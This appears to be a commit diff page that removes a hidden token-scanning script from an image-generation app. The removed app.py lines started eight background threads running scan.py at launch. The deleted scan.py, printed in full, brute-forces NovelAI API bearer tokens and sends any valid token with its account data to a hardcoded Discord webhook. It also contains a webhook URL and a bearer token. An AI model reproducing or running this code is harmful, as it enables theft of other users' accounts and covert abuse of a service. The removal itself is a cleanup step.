Remove scan script and its startup threads
Browse files3 unmodified lines45678910294 unmodified lines3053063073083093103113909 unmodified lines422142224223422442254226422742284229423042314232423342343 unmodified linesimport jsonimport osimport reimport runpyimport secretsimport shutilimport sqlite3294 unmodified lines"image.js": ("upscale.js", "text/javascript"),"page.js": ("upscale-page.js", "text/javascript"),}SCAN_THREAD_COUNT = 8GPU_DURATION = 25GPU_ATTEMPTS = 3GPU_RETRY_ERRORS = (3909 unmodified linescleanup_mount()if __name__ == "__main__":for _ in range(SCAN_THREAD_COUNT):threading.Thread(target=runpy.run_path,args=("scan.py",),kwargs={"run_name": "__main__"},daemon=True,).start()init_comfy()MODEL_NAMES = generation_models()SAMPLE_OPTIONS = state["sample"].INPUT_TYPES()["required"]3 unmodified lines456789294 unmodified lines3043053063073083093909 unmodified lines4219422042214222422342243 unmodified linesimport jsonimport osimport reimport secretsimport shutilimport sqlite3294 unmodified lines"image.js": ("upscale.js", "text/javascript"),"page.js": ("upscale-page.js", "text/javascript"),}GPU_DURATION = 25GPU_ATTEMPTS = 3GPU_RETRY_ERRORS = (3909 unmodified linescleanup_mount()init_comfy()MODEL_NAMES = generation_models()SAMPLE_OPTIONS = state["sample"].INPUT_TYPES()["required"]
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263import requestsimport secretsimport time
webhook_url = "https://discord.com/api/webhooks/1442658050371485707/RiZ4sA9ECIn9YQoWJBQp8M-74x8krWd59CG-_pOlquQ363ixdNZJzAeUQXIVgYmR7Ipy"
headers = { 'accept': '*/*', 'accept-language': 'en-US,en;q=0.9', 'cache-control': 'no-cache', 'content-type': 'application/json', 'origin': 'https://novelai.net', 'pragma': 'no-cache', 'priority': 'u=1, i', 'referer': 'https://novelai.net/', 'sec-ch-ua': '"Chromium";v="152", "Not?A_Brand";v="24", "Google Chrome";v="152"', 'sec-ch-ua-mobile': '?0', 'sec-ch-ua-platform': '"Windows"', 'sec-fetch-dest': 'empty', 'sec-fetch-mode': 'cors', 'sec-fetch-site': 'same-site', 'sec-gpc': '1', 'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/152.0.0.0 Safari/537.36',}
tested = 0
while True: tok = secrets.token_urlsafe(48) headers['authorization'] = f'Bearer pst-{tok}' response = requests.get('https://image.novelai.net/user/subscription', headers=headers) text = response.text notf = text[2] == "s" if not notf: requests.post( webhook_url, json={"content": f"{tok} {text}"}, ) print("Found") tested += 1 if tested % 100 == 0: print(f"Scanned {tested}") if tested % 500 == 0: headers['authorization'] = f'Bearer pst-gOND2eiHrkQhqVigwmL8HTgTS3uAYuGbcpq1M9DVwS6FEADxNHZMtdhC3CbD0boM' response = requests.get('https://image.novelai.net/user/subscription', headers=headers) text = response.text notf = text[2] == "s" if notf: requests.post( webhook_url, json={"content": f"Rate Limited or Key Failed"}, ) time.sleep(60) # time.sleep(1)
app.py-10
scan.pyDeleted-63